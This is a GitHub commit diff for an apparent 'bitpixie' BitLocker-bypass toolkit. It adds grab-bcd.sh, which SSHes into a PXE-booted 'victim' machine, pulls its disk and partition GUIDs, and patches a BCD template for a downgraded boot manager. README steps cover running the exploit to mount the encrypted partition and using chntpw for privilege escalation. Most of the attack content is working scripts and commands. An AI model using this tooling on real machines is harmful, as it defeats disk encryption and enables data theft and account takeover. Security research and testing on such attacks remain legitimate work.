Skip to content

Commit 6c1110a

Browse files
author
Andreas Grasser
committed
Added automated BCD grabber/patcher
1 parent bbe706f commit 6c1110a

4 files changed

Lines changed: 98 additions & 19 deletions

File tree

PXE-Server/Boot/BCD-template

32 KB
Binary file not shown.

README.md

Lines changed: 17 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -44,22 +44,33 @@ This will reboot the machine into Advanced Boot Options.
4444
There you have to click on `Use a device` and select IPv4 PXE Boot.
4545

4646
### Extracting the BCD file
47-
Extracting the (unmodified) BCD file from the EFI partition is easy:
47+
Boot the victim system into the initramfs using PXE boot: `./start-server.sh get-bcd <interface>`
48+
On the victim machine you can identify the drive containing the Windows installation (often /dev/sda).
49+
50+
On the attacker machine execute the BCD extractor script:
4851
```
49-
initrd:~# extract-bcd /dev/sda1
52+
./grab-bcd.sh /dev/sda
53+
[+] Info: Grabbing disk and partition GUIDs via SSH...
54+
[...]
55+
[+] Info: Created modified BCD file: PXE-Server/Boot/BCD
5056
```
51-
The BCD file is copied to the /root/ directory.
52-
In the future, the BCD file will be automatically copied to the attacker machine.
57+
This script obtains the disk and partition GUID from the victim computer and creates a registry patch file.
58+
Afterwards the BCD-template file gets patched and copied to PXE-Server/Boot/BCD.
59+
60+
Now you are ready to perform the actual attack!
61+
Reboot the victim system into the startup settings again.
5362

5463
### Breaking BitLocker
55-
Start the TFTP server into exploit mode (boot into downgraded Windows boot manager).
56-
Preform the bitpixie exploit:
64+
Start the TFTP server in exploit mode: `./start-server.sh exploit <interface>`.
65+
Log in as root and perform the bitpixie exploit on the victim machine:
5766
```
5867
initrd:~# run-exploit /dev/sda3
5968
```
6069
The BitLocker partition should now be mounted at /root/mnt.
6170
If it did not work, reboot and try it again. Sometimes the VMK is not detected / overwritten.
6271

72+
Note: The alpine initramfs also has [chntpw](https://pkgs.alpinelinux.org/package/edge/community/x86_64/chntpw) installed for easy privilege escalation!
73+
6374
Don't forget to unmount the file system after performing your changes: `umount /root/mnt`!
6475

6576
## How to set up a test environment

grab-bcd.sh

Lines changed: 80 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,85 @@
11
#!/bin/bash
22

3-
# grab BCD file
4-
ssh -o StrictHostKeyChecking=no root@10.13.37.101 "extract-bcd /dev/sda1"
5-
sftp -o StrictHostKeyChecking=no root@10.13.37.101:/root/BCD BCD
3+
PARTITION=$1
4+
SEARCHSTRING1="\x12\x34\x56\x78\x13\x37\x11\x11\x13\x37\x12\x34\x56\x78\x91\x23"
5+
SEARCHSTRING2="\x12\x34\x56\x78\x13\x37\x22\x22\x13\x37\x12\x34\x56\x78\x91\x23"
66

7-
exit
7+
function echo-info {
8+
echo -e "\e[34;1m[+]\e[0m \e[34mInfo: $1\e[0m" >&2
9+
}
810

9-
# Read the GUID of the device
10-
device_GUID=`sgdisk --info=3 $device | grep "unique GUID" | cut -d' ' -f 4`
11+
function echo-warning {
12+
echo -e "\e[31;1m[!] Warning: $1\e[0m" >&2
13+
}
1114

12-
echo $device_GUID
13-
# TODO:
15+
function printInfo {
16+
echo -e "\e[34;1mUsage: $0 <drive>\e[0m"
17+
echo -e "\e[34;1m Example: $0 /dev/sda\e[0m"
18+
}
19+
20+
# I found a VBS converter for GUIDs and ported it to bash: https://learn.microsoft.com/en-us/troubleshoot/windows-server/admin-development/convert-string-guid-to-hexadecimal-string
21+
function GuidToHex {
22+
GUID=$1
23+
24+
# Remove unnecessary symbols
25+
tmpGUID=`echo "$GUID" | tr -d '{}-'`
26+
27+
# Reorder octets
28+
octetStr="${tmpGUID:6:2}"
29+
octetStr+="${tmpGUID:4:2}"
30+
octetStr+="${tmpGUID:2:2}"
31+
octetStr+="${tmpGUID:0:2}"
32+
octetStr+="${tmpGUID:10:2}"
33+
octetStr+="${tmpGUID:8:2}"
34+
octetStr+="${tmpGUID:14:2}"
35+
octetStr+="${tmpGUID:12:2}"
36+
octetStr+="${tmpGUID:16}"
37+
38+
# Create hex entities for sed replacement
39+
hexCommaStr=$(echo "$octetStr" | sed 's/\(..\)/,\1/g')
40+
}
41+
42+
43+
# Exit if no device is specified
44+
if [[ "$1" != *"dev"* ]]; then
45+
echo-warning "No drive specified!"
46+
printInfo
47+
exit
48+
fi
49+
50+
# Get GUIDs via SSH
51+
echo-info "Grabbing disk and partition GUIDs via SSH..."
52+
# TODO: Edge case for multiple hard drives?!
53+
HDGPTSIG=$(ssh -tt -q -o StrictHostKeyChecking=no root@10.13.37.101 'fdisk -l | grep "Disk identifier (GUID)" | cut -d" " -f 4' 2>&1)
54+
PARTGUID=$(ssh -tt -q -o StrictHostKeyChecking=no root@10.13.37.101 'sgdisk --info=3 "'$PARTITION'" | grep "Partition unique GUID" | cut -d" " -f 4' 2>&1 )
55+
56+
# To uppercase
57+
HDGPTSIG=$(echo $HDGPTSIG | tr '[A-Z]' '[a-z]')
58+
PARTGUID=$(echo $PARTGUID | tr '[A-Z]' '[a-z]')
59+
60+
# To Hex entities
61+
GuidToHex $HDGPTSIG
62+
HDGPTSIGHEX=$hexCommaStr
63+
GuidToHex $PARTGUID
64+
PARTGUIDHEX=$hexCommaStr
65+
66+
echo-info "Got the following GUIDs:"
67+
echo "Disk identifier: $HDGPTSIG"
68+
echo "Partition unique GUID: $PARTGUID"
69+
echo ""
70+
71+
# Create registry patch file
72+
echo-info "Creating registry patch file..."
73+
echo "Windows Registry Editor Version 5.00" > /tmp/patch.reg
74+
echo "" >> /tmp/patch.reg
75+
echo "[\Objects\{15af3c5d-ca12-11ef-ae97-b097f8aa0112}\Elements\11000001]" >> /tmp/patch.reg
76+
echo '"Element"=hex(3):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,06,00,00,00,00,00,00,00,48,00,00,00,00,00,00,00'"$PARTGUIDHEX"',00,00,00,00,00,00,00,00'"$HDGPTSIGHEX"',00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00' | tr -d '\r' >> /tmp/patch.reg
77+
78+
# Copy BCD template
79+
echo-info "Patching BCD template with victim specific GUIDs..."
80+
cp -f PXE-Server/Boot/BCD-template PXE-Server/Boot/BCD
81+
82+
# Merge patch into BCD file
83+
hivexregedit --merge PXE-Server/Boot/BCD /tmp/patch.reg
84+
85+
echo-info "Created modified BCD file: PXE-Server/Boot/BCD"

start-server.sh

Lines changed: 1 addition & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -37,11 +37,7 @@ function start-servers {
3737
# Start dnsmasq
3838
echo-info "Starting dnsmasq..."
3939
sudo dnsmasq --no-daemon --interface=$interface --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h --dhcp-boot=$BOOTEFI --enable-tftp --tftp-root=$SCRIPTPATH/PXE-Server
40-
41-
# Start SMB Server
42-
echo-info "Starting SMB server..."
43-
# TODO: Actually add the SMB Server
44-
# smbserver.py smb $SCRIPTPATH/PXE-Server/Boot -smb2support
40+
echo-info "Stopping dnsmasq..."
4541
}
4642

4743

0 commit comments

Comments
 (0)